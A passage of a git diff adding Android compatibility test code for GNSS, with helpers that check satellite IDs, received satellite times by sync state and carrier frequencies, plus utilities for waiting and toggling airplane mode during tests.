+ ((accumulatedDeltaRangeState &
+ GnssMeasurement.ADR_STATE_HALF_CYCLE_REPORTED) != 0) ||
+ (accumulatedDeltaRangeState &
+ GnssMeasurement.ADR_STATE_HALF_CYCLE_RESOLVED) == 0);
+ if ((accumulatedDeltaRangeState & GnssMeasurement.ADR_STATE_VALID) != 0) {
+ double accumulatedDeltaRangeInMeters =
+ measurement.getAccumulatedDeltaRangeMeters();
+ softAssert.assertTrue("accumulated_delta_range_m: " +
+ "Accumulated delta range in meter",
+ timeInNs,
+ "X != 0.0",
+ String.valueOf(accumulatedDeltaRangeInMeters),
+ accumulatedDeltaRangeInMeters != 0.0);
+ double accumulatedDeltaRangeUncertainty =
+ measurement.getAccumulatedDeltaRangeUncertaintyMeters();
+ softAssert.assertTrue("accumulated_delta_range_uncertainty_m: " +
+ "Accumulated delta range uncertainty in meter",
+ timeInNs,
+ "X > 0.0",
+ String.valueOf(accumulatedDeltaRangeUncertainty),
+ accumulatedDeltaRangeUncertainty > 0.0);
+ }
+ }
+
+ /**
+ * Verify svid's are in expected range.
+ *
+ * @param measurement GnssMeasurement
+ * @param softAssert custom SoftAssert
+ * @param timeInNs event time in ns
+ */
+ private static void verifySvid(GnssMeasurement measurement, SoftAssert softAssert,
+ long timeInNs) {
+
+ int constellationType = measurement.getConstellationType();
+ int svid = measurement.getSvid();
+ validateSvidSub(softAssert, timeInNs, constellationType, svid);
+ }
+
+ public static void validateSvidSub(SoftAssert softAssert, Long timeInNs,
+ int constellationType, int svid) {
+
+ String svidValue = String.valueOf(svid);
+
+ switch (constellationType) {
+ case GnssStatus.CONSTELLATION_GPS:
+ softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " +
+ "= CONSTELLATION_GPS",
+ timeInNs,
+ "[1, 32]",
+ svidValue,
+ svid > 0 && svid <= 32);
+ break;
+ case GnssStatus.CONSTELLATION_SBAS:
+ softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " +
+ "= CONSTELLATION_SBAS",
+ timeInNs,
+ "120 <= X <= 192",
+ svidValue,
+ svid >= 120 && svid <= 192);
+ break;
+ case GnssStatus.CONSTELLATION_GLONASS:
+ softAssert.assertTrue("svid: Slot ID, or if unknown, Frequency + 100 (93-106). " +
+ "Constellation type = CONSTELLATION_GLONASS",
+ timeInNs,
+ "1 <= svid <= 24 || 93 <= svid <= 106",
+ svidValue,
+ (svid >= 1 && svid <= 24) || (svid >= 93 && svid <= 106));
+ break;
+ case GnssStatus.CONSTELLATION_QZSS:
+ softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " +
+ "= CONSTELLATION_QZSS",
+ timeInNs,
+ "193 <= X <= 200",
+ svidValue,
+ svid >= 193 && svid <= 200);
+ break;
+ case GnssStatus.CONSTELLATION_BEIDOU:
+ softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " +
+ "= CONSTELLATION_BEIDOU",
+ timeInNs,
+ "1 <= X <= 63",
+ svidValue,
+ svid >= 1 && svid <= 63);
+ break;
+ case GnssStatus.CONSTELLATION_GALILEO:
+ softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " +
+ "= CONSTELLATION_GALILEO",
+ timeInNs,
+ "1 <= X <= 36",
+ String.valueOf(svid),
+ svid >= 1 && svid <= 36);
+ break;
+ default:
+ // Explicit fail if did not receive valid constellation type.
+ softAssert.assertTrue("svid: Space Vehicle ID. Did not receive any valid " +
+ "constellation type.",
+ timeInNs,
+ "Valid constellation type.",
+ svidValue,
+ false);
+ break;
+ }
+ }
+
+ /**
+ * Verify sv times are in expected range.
+ *
+ * @param measurement GnssMeasurement
+ * @param softAssert custom SoftAssert
+ * @param timeInNs event time in ns
+ * */
+ private static void verifyReceivedSatelliteVehicleTimeInNs(GnssMeasurement measurement,
+ SoftAssert softAssert, long timeInNs) {
+
+ int constellationType = measurement.getConstellationType();
+ int state = measurement.getState();
+ long received_sv_time_ns = measurement.getReceivedSvTimeNanos();
+ double sv_time_ms = TimeUnit.NANOSECONDS.toMillis(received_sv_time_ns);
+ double sv_time_sec = TimeUnit.NANOSECONDS.toSeconds(received_sv_time_ns);
+ double sv_time_days = TimeUnit.NANOSECONDS.toDays(received_sv_time_ns);
+
+ // Check ranges for received_sv_time_ns for given Gps State
+ if (state == 0) {
+ softAssert.assertTrue("received_sv_time_ns:" +
+ " Received SV Time-of-Week in ns." +
+ " GNSS_MEASUREMENT_STATE_UNKNOWN.",
+ timeInNs,
+ "X == 0",
+ String.valueOf(received_sv_time_ns),
+ sv_time_ms == 0);
+ }
+
+ switch (constellationType) {
+ case GnssStatus.CONSTELLATION_GPS:
+ verifyGpsQzssSvTimes(measurement, softAssert, timeInNs, state, "CONSTELLATION_GPS");
+ break;
+ case GnssStatus.CONSTELLATION_QZSS:
+ verifyGpsQzssSvTimes(measurement, softAssert, timeInNs, state,
+ "CONSTELLATION_QZSS");
+ break;
+ case GnssStatus.CONSTELLATION_SBAS:
+ if ((state & GnssMeasurement.STATE_SBAS_SYNC)
+ == GnssMeasurement.STATE_SBAS_SYNC) {
+ softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+ "GNSS_MEASUREMENT_STATE_SBAS_SYNC",
+ "GnssStatus.CONSTELLATION_SBAS"),
+ timeInNs,
+ "0s >= X <= 1s",
+ String.valueOf(sv_time_sec),
+ sv_time_sec >= 0 && sv_time_sec <= 1);
+ } else if ((state & GnssMeasurement.STATE_SYMBOL_SYNC)
+ == GnssMeasurement.STATE_SYMBOL_SYNC) {
+ softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+ "GNSS_MEASUREMENT_STATE_SYMBOL_SYNC",
+ "GnssStatus.CONSTELLATION_SBAS"),
+ timeInNs,
+ "0ms >= X <= 2ms",
+ String.valueOf(sv_time_ms),
+ sv_time_ms >= 0 && sv_time_ms <= 2);
+ } else if ((state & GnssMeasurement.STATE_CODE_LOCK)
+ == GnssMeasurement.STATE_CODE_LOCK) {
+ softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+ "GNSS_MEASUREMENT_STATE_CODE_LOCK",
+ "GnssStatus.CONSTELLATION_SBAS"),
+ timeInNs,
+ "0ms >= X <= 1ms",
+ String.valueOf(sv_time_ms),
+ sv_time_ms >= 0 && sv_time_ms <= 1);
+ }
+ break;
+ case GnssStatus.CONSTELLATION_GLONASS:
+ if ((state & GnssMeasurement.STATE_GLO_TOD_DECODED)
+ == GnssMeasurement.STATE_GLO_TOD_DECODED) {
+ softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+ "GNSS_MEASUREMENT_STATE_GLO_TOD_DECODED",
+ "GnssStatus.CONSTELLATION_GLONASS"),
+ timeInNs,
+ "0 day >= X <= 1 day",
+ String.valueOf(sv_time_days),
+ sv_time_days >= 0 && sv_time_days <= 1);
+ } else if ((state & GnssMeasurement.STATE_GLO_TOD_KNOWN)
+ == GnssMeasurement.STATE_GLO_TOD_KNOWN) {
+ softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+ "GNSS_MEASUREMENT_STATE_GLO_TOD_KNOWN",
+ "GnssStatus.CONSTELLATION_GLONASS"),
+ timeInNs,
+ "0 day >= X <= 1 day",
+ String.valueOf(sv_time_days),
+ sv_time_days >= 0 && sv_time_days <= 1);
+ } else if ((state & GnssMeasurement.STATE_GLO_STRING_SYNC)
+ == GnssMeasurement.STATE_GLO_STRING_SYNC) {
+ softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+ "GNSS_MEASUREMENT_STATE_GLO_STRING_SYNC",
+ "GnssStatus.CONSTELLATION_GLONASS"),
+ timeInNs,
+ "0s >= X <= 2s",
+ String.valueOf(sv_time_sec),
+ sv_time_sec >= 0 && sv_time_sec <= 2);
+ } else if ((state & GnssMeasurement.STATE_BIT_SYNC)
+ == GnssMeasurement.STATE_BIT_SYNC) {
+ softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+ "GNSS_MEASUREMENT_STATE_BIT_SYNC",
+ "GnssStatus.CONSTELLATION_GLONASS"),
+ timeInNs,
+ "0ms >= X <= 20ms",
+ String.valueOf(sv_time_ms),
+ sv_time_ms >= 0 && sv_time_ms <= 20);
+ } else if ((state & GnssMeasurement.STATE_SYMBOL_SYNC)
+ == GnssMeasurement.STATE_SYMBOL_SYNC) {
+ softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+ "GNSS_MEASUREMENT_STATE_SYMBOL_SYNC",
+ "GnssStatus.CONSTELLATION_GLONASS"),
+ timeInNs,
+ "0ms >= X <= 10ms",
+ String.valueOf(sv_time_ms),
+ sv_time_ms >= 0 && sv_time_ms <= 10);
+ } else if ((state & GnssMeasurement.STATE_CODE_LOCK)
+ == GnssMeasurement.STATE_CODE_LOCK) {
+ softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+ "GNSS_MEASUREMENT_STATE_CODE_LOCK",
+ "GnssStatus.CONSTELLATION_GLONASS"),
+ timeInNs,
+ "0ms >= X <= 1ms",
+ String.valueOf(sv_time_ms),
+ sv_time_ms >= 0 && sv_time_ms <= 1);
+ }
+ break;
+ case GnssStatus.CONSTELLATION_GALILEO:
+ if ((state & GnssMeasurement.STATE_TOW_DECODED)
+ == GnssMeasurement.STATE_TOW_DECODED) {
+ softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+ "GNSS_MEASUREMENT_STATE_TOW_DECODED",
+ "GnssStatus.CONSTELLATION_GALILEO"),
+ timeInNs,
+ "0 >= X <= 7 days",
+ String.valueOf(sv_time_days),
+ sv_time_days >= 0 && sv_time_days <= 7);
+ } else if ((state & GnssMeasurement.STATE_TOW_KNOWN)
+ == GnssMeasurement.STATE_TOW_KNOWN) {
+ softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+ "GNSS_MEASUREMENT_STATE_TOW_DECODED",
+ "GnssStatus.CONSTELLATION_GALILEO"),
+ timeInNs,
+ "0 >= X <= 7 days",
+ String.valueOf(sv_time_days),
+ sv_time_days >= 0 && sv_time_days <= 7);
+ } else if ((state & GnssMeasurement.STATE_GAL_E1B_PAGE_SYNC)
+ == GnssMeasurement.STATE_GAL_E1B_PAGE_SYNC) {
+ softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+ "GNSS_MEASUREMENT_STATE_GAL_E1B_PAGE_SYNC",
+ "GnssStatus.CONSTELLATION_GALILEO"),
+ timeInNs,
+ "0s >= X <= 2s",
+ String.valueOf(sv_time_sec),
+ sv_time_sec >= 0 && sv_time_sec <= 2);
+ } else if ((state & GnssMeasurement.STATE_GAL_E1C_2ND_CODE_LOCK)
+ == GnssMeasurement.STATE_GAL_E1C_2ND_CODE_LOCK) {
+ softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+ "GNSS_MEASUREMENT_STATE_GAL_E1C_2ND_CODE_LOCK",
+ "GnssStatus.CONSTELLATION_GALILEO"),
+ timeInNs,
+ "0ms >= X <= 100ms",
+ String.valueOf(sv_time_ms),
+ sv_time_ms >= 0 && sv_time_ms <= 100);
+ } else if ((state & GnssMeasurement.STATE_GAL_E1BC_CODE_LOCK)
+ == GnssMeasurement.STATE_GAL_E1BC_CODE_LOCK) {
+ softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+ "GNSS_MEASUREMENT_STATE_GAL_E1BC_CODE_LOCK",
+ "GnssStatus.CONSTELLATION_GALILEO"),
+ timeInNs,
+ "0ms >= X <= 4ms",
+ String.valueOf(sv_time_ms),
+ sv_time_ms >= 0 && sv_time_ms <= 4);
+ }
+ break;
+ case GnssStatus.CONSTELLATION_BEIDOU:
+ if ((state & GnssMeasurement.STATE_TOW_DECODED)
+ == GnssMeasurement.STATE_TOW_DECODED) {
+ softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+ "GNSS_MEASUREMENT_STATE_TOW_DECODED",
+ "GnssStatus.CONSTELLATION_BEIDOU"),
+ timeInNs,
+ "0 >= X <= 7 days",
+ String.valueOf(sv_time_days),
+ sv_time_days >= 0 && sv_time_days <= 7);
+ } else if ((state & GnssMeasurement.STATE_TOW_KNOWN)
+ == GnssMeasurement.STATE_TOW_KNOWN) {
+ softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+ "GNSS_MEASUREMENT_STATE_TOW_KNOWN",
+ "GnssStatus.CONSTELLATION_BEIDOU"),
+ timeInNs,
+ "0 >= X <= 7 days",
+ String.valueOf(sv_time_days),
+ sv_time_days >= 0 && sv_time_days <= 7);
+ } else if ((state & GnssMeasurement.STATE_SUBFRAME_SYNC)
+ == GnssMeasurement.STATE_SUBFRAME_SYNC) {
+ softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+ "GNSS_MEASUREMENT_STATE_SUBFRAME_SYNC",
+ "GnssStatus.CONSTELLATION_BEIDOU"),
+ timeInNs,
+ "0s >= X <= 6s",
+ String.valueOf(sv_time_sec),
+ sv_time_sec >= 0 && sv_time_sec <= 6);
+ } else if ((state & GnssMeasurement.STATE_BDS_D2_SUBFRAME_SYNC)
+ == GnssMeasurement.STATE_BDS_D2_SUBFRAME_SYNC) {
+ softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+ "GNSS_MEASUREMENT_STATE_BDS_D2_SUBFRAME_SYNC",
+ "GnssStatus.CONSTELLATION_BEIDOU"),
+ timeInNs,
+ "0ms >= X <= 600ms (0.6sec)",
+ String.valueOf(sv_time_ms),
+ sv_time_ms >= 0 && sv_time_ms <= 600);
+ } else if ((state & GnssMeasurement.STATE_BIT_SYNC)
+ == GnssMeasurement.STATE_BIT_SYNC) {
+ softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+ "GNSS_MEASUREMENT_STATE_BIT_SYNC",
+ "GnssStatus.CONSTELLATION_BEIDOU"),
+ timeInNs,
+ "0ms >= X <= 20ms",
+ String.valueOf(sv_time_ms),
+ sv_time_ms >= 0 && sv_time_ms <= 20);
+ } else if ((state & GnssMeasurement.STATE_BDS_D2_BIT_SYNC)
+ == GnssMeasurement.STATE_BDS_D2_BIT_SYNC) {
+ softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+ "GNSS_MEASUREMENT_STATE_BDS_D2_BIT_SYNC",
+ "GnssStatus.CONSTELLATION_BEIDOU"),
+ timeInNs,
+ "0ms >= X <= 2ms",
+ String.valueOf(sv_time_ms),
+ sv_time_ms >= 0 && sv_time_ms <= 2);
+ } else if ((state & GnssMeasurement.STATE_CODE_LOCK)
+ == GnssMeasurement.STATE_CODE_LOCK) {
+ softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+ "GNSS_MEASUREMENT_STATE_CODE_LOCK",
+ "GnssStatus.CONSTELLATION_BEIDOU"),
+ timeInNs,
+ "0ms >= X <= 1ms",
+ String.valueOf(sv_time_ms),
+ sv_time_ms >= 0 && sv_time_ms <= 1);
+ }
+ break;
+ }
+ }
+
+ private static String getReceivedSvTimeNsLogMessage(String state, String constellationType) {
+ return "received_sv_time_ns: Received SV Time-of-Week in ns. Constellation type = "
+ + constellationType + ". State = " + state;
+ }
+
+ /**
+ * Verify sv times are in expected range for given constellation type.
+ * This is common check for CONSTELLATION_GPS & CONSTELLATION_QZSS.
+ *
+ * @param measurement GnssMeasurement
+ * @param softAssert custom SoftAssert
+ * @param timeInNs event time in ns
+ * @param state GnssMeasurement State
+ * @param constellationType Gnss Constellation type
+ */
+ private static void verifyGpsQzssSvTimes(GnssMeasurement measurement,
+ SoftAssert softAssert, long timeInNs, int state, String constellationType) {
+
+ long received_sv_time_ns = measurement.getReceivedSvTimeNanos();
+ double sv_time_ms = TimeUnit.NANOSECONDS.toMillis(received_sv_time_ns);
+ double sv_time_sec = TimeUnit.NANOSECONDS.toSeconds(received_sv_time_ns);
+ double sv_time_days = TimeUnit.NANOSECONDS.toDays(received_sv_time_ns);
+
+ if ((state & GnssMeasurement.STATE_TOW_DECODED)
+ == GnssMeasurement.STATE_TOW_DECODED) {
+ softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+ "GNSS_MEASUREMENT_STATE_TOW_DECODED",
+ constellationType),
+ timeInNs,
+ "0 >= X <= 7 days",
+ String.valueOf(sv_time_days),
+ sv_time_days >= 0 && sv_time_days <= 7);
+ } else if ((state & GnssMeasurement.STATE_TOW_KNOWN)
+ == GnssMeasurement.STATE_TOW_KNOWN) {
+ softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+ "GNSS_MEASUREMENT_STATE_TOW_KNOWN",
+ constellationType),
+ timeInNs,
+ "0 >= X <= 7 days",
+ String.valueOf(sv_time_days),
+ sv_time_days >= 0 && sv_time_days <= 7);
+ } else if ((state & GnssMeasurement.STATE_SUBFRAME_SYNC)
+ == GnssMeasurement.STATE_SUBFRAME_SYNC) {
+ softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+ "GNSS_MEASUREMENT_STATE_SUBFRAME_SYNC",
+ constellationType),
+ timeInNs,
+ "0s >= X <= 6s",
+ String.valueOf(sv_time_sec),
+ sv_time_sec >= 0 && sv_time_sec <= 6);
+ } else if ((state & GnssMeasurement.STATE_BIT_SYNC)
+ == GnssMeasurement.STATE_BIT_SYNC) {
+ softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+ "GNSS_MEASUREMENT_STATE_BIT_SYNC",
+ constellationType),
+ timeInNs,
+ "0ms >= X <= 20ms",
+ String.valueOf(sv_time_ms),
+ sv_time_ms >= 0 && sv_time_ms <= 20);
+
+ } else if ((state & GnssMeasurement.STATE_CODE_LOCK)
+ == GnssMeasurement.STATE_CODE_LOCK) {
+ softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+ "GNSS_MEASUREMENT_STATE_CODE_LOCK",
+ constellationType),
+ timeInNs,
+ "0ms >= X <= 1ms",
+ String.valueOf(sv_time_ms),
+ sv_time_ms >= 0 && sv_time_ms <= 1);
+ }
+ }
+
+
+ /**
+ * Get a unique string for the SV including the constellation and the default L1 band.
+ *
+ * @param constellationType Gnss Constellation type
+ * @param svId Gnss Sv Identifier
+ */
+ public static String getUniqueSvStringId(int constellationType, int svId) {
+ return getUniqueSvStringId(constellationType, svId, GnssBand.GNSS_L1);
+ }
+
+ /**
+ * Get a unique string for the SV including the constellation and the band.
+ *
+ * @param constellationType Gnss Constellation type
+ * @param svId Gnss Sv Identifier
+ * @param carrierFrequencyHz Carrier Frequency for Sv in Hz
+ */
+ public static String getUniqueSvStringId(int constellationType, int svId,
+ float carrierFrequencyHz) {
+ return getUniqueSvStringId(constellationType, svId,
+ frequencyToGnssBand(carrierFrequencyHz));
+ }
+
+ private static String getUniqueSvStringId(int constellationType, int svId, GnssBand gnssBand) {
+ return gnssBand.toString() + "." + constellationType + "." + svId;
+ }
+
+ /**
+ * Assert all mandatory fields in Gnss Navigation Message are in expected range.
+ * See mandatory fields in {@code gps.h}.
+ *
+ * @param testLocationManager TestLocationManager
+ * @param events GnssNavigationMessageEvents
+ */
+ public static void verifyGnssNavMessageMandatoryField(TestLocationManager testLocationManager,
+ List<GnssNavigationMessage> events) {
+ // Verify mandatory GnssNavigationMessage field values.
+ SoftAssert softAssert = new SoftAssert(TAG);
+ for (GnssNavigationMessage message : events) {
+ int type = message.getType();
+ softAssert.assertTrue("Gnss Navigation Message Type:expected [" +
+ getGnssNavMessageTypes() + "] actual = " + type,
+ GNSS_NAVIGATION_MESSAGE_TYPE.contains(type));
+
+ int messageType = message.getType();
+ softAssert.assertTrue("Message ID cannot be 0", message.getMessageId() != 0);
+ if (messageType == GnssNavigationMessage.TYPE_GAL_I) {
+ softAssert.assertTrue("Sub Message ID can not be negative.",
+ message.getSubmessageId() >= 0);
+ } else {
+ softAssert.assertTrue("Sub Message ID has to be greater than 0.",
+ message.getSubmessageId() > 0);
+ }
+
+ // if message type == TYPE_L1CA, verify PRN & Data Size.
+ if (messageType == GnssNavigationMessage.TYPE_GPS_L1CA) {
+ int svid = message.getSvid();
+ softAssert.assertTrue("Space Vehicle ID : expected = [1, 32], actual = " +
+ svid,
+ svid >= 1 && svid <= 32);
+ int dataSize = message.getData().length;
+ softAssert.assertTrue("Data size: expected = 40, actual = " + dataSize,
+ dataSize == 40);
+ } else {
+ Log.i(TAG, "GnssNavigationMessage (type = " + messageType
+ + ") skipped for verification.");
+ }
+ }
+ softAssert.assertAll();
+ }
+
+ /**
+ * Asserts presence of CarrierFrequency and the values are in expected range.
+ * As per CDD 7.3.3 / C-3-3 Year 2107+ should have Carrier Frequency present
+ * As of 2018, per http://www.navipedia.net/index.php/GNSS_signal, all known GNSS bands
+ * lie within 2 frequency ranges [1100-1300] & [1500-1700].
+ *
+ * @param softAssert custom SoftAssert
+ * @param testLocationManager TestLocationManager
+ * @param hasCarrierFrequency Whether carrierFrequency is present
+ * @param carrierFrequencyHz Value of carrier frequency in Hz if hasCarrierFrequency is true.
+ * It is ignored when hasCarrierFrequency is false.
+ */
+ public static void verifyGnssCarrierFrequency(SoftAssert softAssert,
+ TestLocationManager testLocationManager,
+ boolean hasCarrierFrequency, float carrierFrequencyHz) {
+
+ if (hasCarrierFrequency) {
+ float frequencyMhz = carrierFrequencyHz/1e6F;
+ softAssert.assertTrue("carrier_frequency_mhz: Carrier frequency in Mhz",
+ "1100 < X < 1300 || 1500 < X < 1700",
+ String.valueOf(frequencyMhz),
+ (frequencyMhz > 1100.0 && frequencyMhz < 1300.0) ||
+ (frequencyMhz > 1500.0 && frequencyMhz < 1700.0));
+ }
+ }
+
+ private static String getGnssNavMessageTypes() {
+ StringBuilder typesStr = new StringBuilder();
+ for (int type : GNSS_NAVIGATION_MESSAGE_TYPE) {
+ typesStr.append(String.format("0x%04X", type));
+ typesStr.append(", ");
+ }
+
+ return typesStr.length() > 2 ? typesStr.substring(0, typesStr.length() - 2) : "";
+ }
+
+ /**
+ * The band information is as of 2018, per http://www.navipedia.net/index.php/GNSS_signal
+ * Bands are combined for simplicity as the constellation is also tracked.
+ *
+ * @param frequencyHz Frequency in Hz
+ * @return GnssBand where the frequency lies.
+ */
+ private static GnssBand frequencyToGnssBand(float frequencyHz) {
+ float frequencyMhz = frequencyHz/1e6F;
+ if (frequencyMhz >= 1151 && frequencyMhz <= 1214) {
+ return GnssBand.GNSS_L5;
+ }
+ if (frequencyMhz > 1214 && frequencyMhz <= 1255) {
+ return GnssBand.GNSS_L2;
+ }
+ if (frequencyMhz > 1255 && frequencyMhz <= 1300) {
+ return GnssBand.GNSS_E6;
+ }
+ return GnssBand.GNSS_L1; // default to L1 band
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/common/TestUtils.java b/tests/location/location_gnss/src/android/location/cts/common/TestUtils.java
new file mode 100644
index 0000000..bcf3f34
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/common/TestUtils.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2016 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.common;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.net.ConnectivityManager;
+import android.net.NetworkInfo;
+import android.util.Log;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.util.concurrent.Callable;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class TestUtils {
+ private static final String TAG = "LocationTestUtils";
+
+ private static final long STANDARD_WAIT_TIME_MS = 50;
+ private static final long STANDARD_SLEEP_TIME_MS = 50;
+
+ private static final int DATA_CONNECTION_CHECK_INTERVAL_MS = 500;
+ private static final int DATA_CONNECTION_CHECK_COUNT = 10; // 500 * 10 - Roughly 5 secs wait
+
+ public static boolean waitFor(CountDownLatch latch, int timeInSec) throws InterruptedException {
+ // Since late 2014, if the main thread has been occupied for long enough, Android will
+ // increase its priority. Such new behavior can causes starvation to the background thread -
+ // even if the main thread has called await() to yield its execution, the background thread
+ // still can't get scheduled.
+ //
+ // Here we're trying to wait on the main thread for a PendingIntent from a background
+ // thread. Because of the starvation problem, the background thread may take up to 5 minutes
+ // to deliver the PendingIntent if we simply call await() on the main thread. In order to
+ // give the background thread a chance to run, we call Thread.sleep() in a loop. Such dirty
+ // hack isn't ideal, but at least it can work.
+ //
+ // See also: b/17423027
+ long waitTimeRounds = (TimeUnit.SECONDS.toMillis(timeInSec)) /
+ (STANDARD_WAIT_TIME_MS + STANDARD_SLEEP_TIME_MS);
+ for (int i = 0; i < waitTimeRounds; ++i) {
+ Thread.sleep(STANDARD_SLEEP_TIME_MS);
+ if (latch.await(STANDARD_WAIT_TIME_MS, TimeUnit.MILLISECONDS)) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ public static boolean waitForWithCondition(int timeInSec, Callable<Boolean> callback)
+ throws Exception {
+ long waitTimeRounds = (TimeUnit.SECONDS.toMillis(timeInSec)) / STANDARD_SLEEP_TIME_MS;
+ for (int i = 0; i < waitTimeRounds; ++i) {
+ Thread.sleep(STANDARD_SLEEP_TIME_MS);
+ if(callback.call()) return true;
+ }
+ return false;
+ }
+
+ public static boolean deviceHasGpsFeature(Context context) {
+ // If device does not have a GPS, skip the test.
+ if (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LOCATION_GPS)) {
+ return true;
+ }
+ Log.w(TAG, "GPS feature not present on device, skipping GPS test.");
+ return false;
+ }
+
+ /**
+ * Returns whether the device is currently connected to a wifi or cellular.
+ *
+ * @param context {@link Context} object
+ * @return {@code true} if connected to Wifi or Cellular; {@code false} otherwise
+ */
+ public static boolean isConnectedToWifiOrCellular(Context context) {
+ NetworkInfo info = getActiveNetworkInfo(context);
+ return info != null
+ && info.isConnected()
+ && (info.getType() == ConnectivityManager.TYPE_WIFI
+ || info.getType() == ConnectivityManager.TYPE_MOBILE);
+ }
+
+ /**
+ * Gets the active network info.
+ *
+ * @param context {@link Context} object
+ * @return {@link NetworkInfo}
+ */
+ private static NetworkInfo getActiveNetworkInfo(Context context) {
+ ConnectivityManager cm = getConnectivityManager(context);
+ if (cm != null) {
+ return cm.getActiveNetworkInfo();
+ }
+ return null;
+ }
+
+ /**
+ * Gets the connectivity manager.
+ *
+ * @param context {@link Context} object
+ * @return {@link ConnectivityManager}
+ */
+ public static ConnectivityManager getConnectivityManager(Context context) {
+ return (ConnectivityManager) context.getApplicationContext()
+ .getSystemService(Context.CONNECTIVITY_SERVICE);
+ }
+
+ /**
+ * Returns {@code true} if the setting {@code airplane_mode_on} is set to 1.
+ */
+ public static boolean isAirplaneModeOn() {
+ return SystemUtil.runShellCommand("settings get global airplane_mode_on")
+ .trim().equals("1");
+ }
+
+ /**
+ * Changes the setting {@code airplane_mode_on} to 1 if {@code enableAirplaneMode}
+ * is {@code true}. Otherwise, it is set to 0.
+ *
+ * <p>Waits for a certain time duration for network connections to turn on/off based on
+ * {@code enableAirplaneMode}.
+ */
+ public static void setAirplaneModeOn(Context context,
+ boolean enableAirplaneMode) throws InterruptedException {
+ Log.i(TAG, "Setting airplane_mode_on to " + enableAirplaneMode);
+ SystemUtil.runShellCommand("cmd connectivity airplane-mode "
+ + (enableAirplaneMode ? "enable" : "disable"));
+
+ // Wait for a few seconds until the airplane mode changes take effect. The airplane mode on
+ // state and the WiFi/cell connected state are opposite. So, we wait while they are the
+ // same or until the specified time interval expires.
+ //
+ // Note that in unusual cases where the WiFi/cell are not in a connected state before
+ // turning on airplane mode, then turning off airplane mode won't restore either of
+ // these connections, and then the wait time below will be wasteful.
+ int dataConnectionCheckCount = DATA_CONNECTION_CHECK_COUNT;
+ while (enableAirplaneMode == isConnectedToWifiOrCellular(context)) {
+ if (--dataConnectionCheckCount <= 0) {
+ Log.w(TAG, "Airplane mode " + (enableAirplaneMode ? "on" : "off")
+ + " setting did not take effect on WiFi/cell connected state.");
+ return;
+ }
+ Thread.sleep(DATA_CONNECTION_CHECK_INTERVAL_MS);
+ }
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationRateChangeTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationRateChangeTest.java
new file mode 100644
index 0000000..e7e740e
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationRateChangeTest.java
@@ -0,0 +1,168 @@
+/*
+ * Copyright (C) 2017 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss;
+
+import android.location.cts.common.GnssTestCase;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestUtils;
+import android.platform.test.annotations.AppModeFull;
+
+/**
+ * Test the "gps" location output works through various rate changes
+ *
+ * Tests:
+ * 1. Toggle through various rates.
+ * 2. Mix toggling through various rates with start & stop.
+ *
+ * Inspired by bugs 65246279, 65425110
+ */
+
+public class GnssLocationRateChangeTest extends GnssTestCase {
+
+ private static final String TAG = "GnssLocationRateChangeTest";
+ private static final int LOCATION_TO_COLLECT_COUNT = 1;
+
+ private TestLocationListener mLocationListenerMain;
+ private TestLocationListener mLocationListenerAfterRateChanges;
+ // Various rates, where underlying GNSS hardware states may enter different modes
